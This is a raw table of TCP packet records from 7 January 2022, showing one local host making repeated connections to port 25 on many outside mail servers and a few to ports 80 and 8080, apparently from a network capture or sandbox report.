Jan 7, 2022 15:57:40.245907068 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245919943 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.245934010 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.408893108 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.408922911 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.409008026 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.409024954 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.409039021 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.409054041 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.409068108 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.409337997 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.589579105 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:40.741754055 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:40.741902113 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:40.764271021 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:40.924976110 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:40.974313974 CET	25	49918	51.81.57.59	192.168.2.4
Jan 7, 2022 15:57:40.974411964 CET	49918	25	192.168.2.4	51.81.57.59
Jan 7, 2022 15:57:40.974601984 CET	49918	25	192.168.2.4	51.81.57.59
Jan 7, 2022 15:57:40.975018024 CET	49924	25	192.168.2.4	51.81.242.59
Jan 7, 2022 15:57:41.075185061 CET	25	49918	51.81.57.59	192.168.2.4
Jan 7, 2022 15:57:41.090080023 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.093153954 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:41.141236067 CET	25	49924	51.81.242.59	192.168.2.4
Jan 7, 2022 15:57:41.141372919 CET	49924	25	192.168.2.4	51.81.242.59
Jan 7, 2022 15:57:41.249051094 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.249167919 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:41.249198914 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:41.249558926 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:41.256755114 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.256866932 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:41.417421103 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.417538881 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.417550087 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:41.417609930 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:41.417733908 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:41.560697079 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.578162909 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.578217030 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.578253031 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.578264952 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.578525066 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:41.578584909 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:41.585937023 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.586034060 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.594726086 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.597239017 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.597371101 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:41.599839926 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.611776114 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.714617968 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.714704990 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.730905056 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:57:41.737921000 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.737941027 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.738037109 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.740542889 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:41.749005079 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.749092102 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:41.749452114 CET	25	49914	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.749517918 CET	49914	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:41.761229038 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.761249065 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.761346102 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.761370897 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.761734009 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.784261942 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.784293890 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.784569979 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.784583092 CET	25	49927	140.78.3.68	192.168.2.4
Jan 7, 2022 15:57:41.784632921 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.784673929 CET	49927	25	192.168.2.4	140.78.3.68
Jan 7, 2022 15:57:41.784746885 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.784838915 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.807976961 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.894499063 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.894623041 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.900949001 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:41.901025057 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:41.907205105 CET	25	49928	85.187.148.2	192.168.2.4
Jan 7, 2022 15:57:41.907321930 CET	49928	25	192.168.2.4	85.187.148.2
Jan 7, 2022 15:57:41.917999983 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.918025970 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.918231010 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.941181898 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.941205025 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.941298008 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.941342115 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.943708897 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:41.964251041 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.964276075 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.964345932 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.964359999 CET	25	49929	140.78.3.69	192.168.2.4
Jan 7, 2022 15:57:41.964421988 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.964451075 CET	49929	25	192.168.2.4	140.78.3.69
Jan 7, 2022 15:57:41.966548920 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:41.968288898 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:41.991080999 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.042402983 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.042757034 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:42.065737963 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.065819979 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.066098928 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:42.091080904 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.091243982 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.091378927 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:42.091394901 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:42.091712952 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.104619026 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:42.104799032 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:42.115536928 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.115554094 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.115562916 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.115575075 CET	25	49930	140.78.3.82	192.168.2.4
Jan 7, 2022 15:57:42.115741014 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:42.115756989 CET	49930	25	192.168.2.4	140.78.3.82
Jan 7, 2022 15:57:42.116334915 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.116420031 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.141200066 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.154670000 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:42.154774904 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:42.154799938 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:42.154841900 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:42.330385923 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.330502033 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.353650093 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.353669882 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.353790998 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.368571043 CET	49916	25	192.168.2.4	128.30.52.76
Jan 7, 2022 15:57:42.376983881 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.377005100 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.377106905 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.377140999 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.399971008 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.400099993 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.400116920 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.400131941 CET	25	49931	140.78.3.83	192.168.2.4
Jan 7, 2022 15:57:42.400160074 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.400203943 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.400238037 CET	49931	25	192.168.2.4	140.78.3.83
Jan 7, 2022 15:57:42.454127073 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:42.612390995 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:42.638974905 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:42.985923052 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:43.075938940 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:43.076283932 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:43.145701885 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:43.145898104 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:43.148143053 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:43.494158030 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:43.660737038 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:43.776243925 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:43.776289940 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:43.940603018 CET	25	49910	192.254.190.168	192.168.2.4
Jan 7, 2022 15:57:43.940732956 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:44.038278103 CET	25	49924	51.81.242.59	192.168.2.4
Jan 7, 2022 15:57:44.038317919 CET	25	49924	51.81.242.59	192.168.2.4
Jan 7, 2022 15:57:44.038372993 CET	49924	25	192.168.2.4	51.81.242.59
Jan 7, 2022 15:57:44.038407087 CET	49924	25	192.168.2.4	51.81.242.59
Jan 7, 2022 15:57:44.038712025 CET	49932	25	192.168.2.4	51.81.242.150
Jan 7, 2022 15:57:44.096827984 CET	25	49910	192.254.190.168	192.168.2.4
Jan 7, 2022 15:57:44.096946955 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:44.123982906 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:44.127968073 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:44.200748920 CET	25	49932	51.81.242.150	192.168.2.4
Jan 7, 2022 15:57:44.200845003 CET	49932	25	192.168.2.4	51.81.242.150
Jan 7, 2022 15:57:44.204665899 CET	25	49924	51.81.242.59	192.168.2.4
Jan 7, 2022 15:57:44.254513025 CET	25	49910	192.254.190.168	192.168.2.4
Jan 7, 2022 15:57:44.254637003 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:44.280514002 CET	25	49926	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:44.280600071 CET	49926	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:44.451386929 CET	25	49910	192.254.190.168	192.168.2.4
Jan 7, 2022 15:57:44.588514090 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:44.588635921 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:44.758409023 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:44.758717060 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:44.758893967 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:44.927301884 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:44.927599907 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:44.978264093 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:45.531203985 CET	25	49932	51.81.242.150	192.168.2.4
Jan 7, 2022 15:57:45.531264067 CET	25	49932	51.81.242.150	192.168.2.4
Jan 7, 2022 15:57:45.531425953 CET	49932	25	192.168.2.4	51.81.242.150
Jan 7, 2022 15:57:48.115679979 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:48.350260019 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:48.350398064 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:48.369121075 CET	49916	25	192.168.2.4	128.30.52.76
Jan 7, 2022 15:57:49.447916031 CET	25	49910	192.254.190.168	192.168.2.4
Jan 7, 2022 15:57:49.572318077 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:50.891542912 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:50.892004967 CET	49932	25	192.168.2.4	51.81.242.150
Jan 7, 2022 15:57:50.892565966 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:50.892935991 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:50.892971039 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:50.924446106 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:51.023703098 CET	49933	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:51.053914070 CET	25	49932	51.81.242.150	192.168.2.4
Jan 7, 2022 15:57:51.057780027 CET	25	49910	192.254.190.168	192.168.2.4
Jan 7, 2022 15:57:51.057852030 CET	49910	25	192.168.2.4	192.254.190.168
Jan 7, 2022 15:57:51.060014009 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:51.073775053 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:51.073878050 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:51.073904991 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:51.076095104 CET	49934	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:51.082755089 CET	49935	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:51.244062901 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:51.244143963 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:51.245459080 CET	25	49917	216.105.38.6	192.168.2.4
Jan 7, 2022 15:57:51.245515108 CET	49917	25	192.168.2.4	216.105.38.6
Jan 7, 2022 15:57:51.382945061 CET	49936	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:51.675218105 CET	49937	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:53.900067091 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:53.900197983 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:53.938206911 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:53.938244104 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:53.938473940 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:53.939107895 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:53.975368977 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:53.975395918 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:53.975409985 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:53.975425005 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:53.975521088 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:53.975626945 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.010667086 CET	49933	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:54.011775970 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.011805058 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.011868000 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.011913061 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.011919975 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.011946917 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.011987925 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.011991024 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.012016058 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.012042046 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.012061119 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.012078047 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.048276901 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048307896 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048319101 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048332930 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048372984 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048413038 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.048427105 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048547983 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.048579931 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048619032 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.048646927 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048676014 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.048705101 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.048729897 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.048908949 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.048974991 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.049052000 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.049098015 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.049107075 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.049140930 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.049156904 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.049211025 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.049514055 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.049531937 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.049660921 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.049678087 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.049731016 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.049774885 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.084836960 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.084882021 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.084898949 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.084975958 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085033894 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085120916 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085227966 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085246086 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085344076 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085391045 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085452080 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085493088 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085561991 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085622072 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085628986 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085668087 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085690022 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085701942 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085704088 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085756063 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085769892 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085864067 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085906982 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.085952044 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.085988045 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086024046 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086066961 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086087942 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086123943 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086133957 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086179018 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086189032 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086221933 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086240053 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086272001 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086289883 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086384058 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086464882 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086474895 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086517096 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086559057 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086591005 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086628914 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.086654902 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.086723089 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.088296890 CET	49934	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:54.121723890 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121753931 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121764898 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121778965 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121789932 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121805906 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121819973 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121845007 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.121869087 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.121968031 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.122097969 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.122315884 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.122395039 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.122432947 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.122602940 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.122714996 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.122724056 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.122831106 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.122848034 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.122903109 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.122950077 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.123039007 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.123090029 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.123210907 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.123224020 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.123289108 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.123390913 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.123574018 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:54.123689890 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:54.123771906 CET	25	49878	185.175.124.58	192.168.2.4
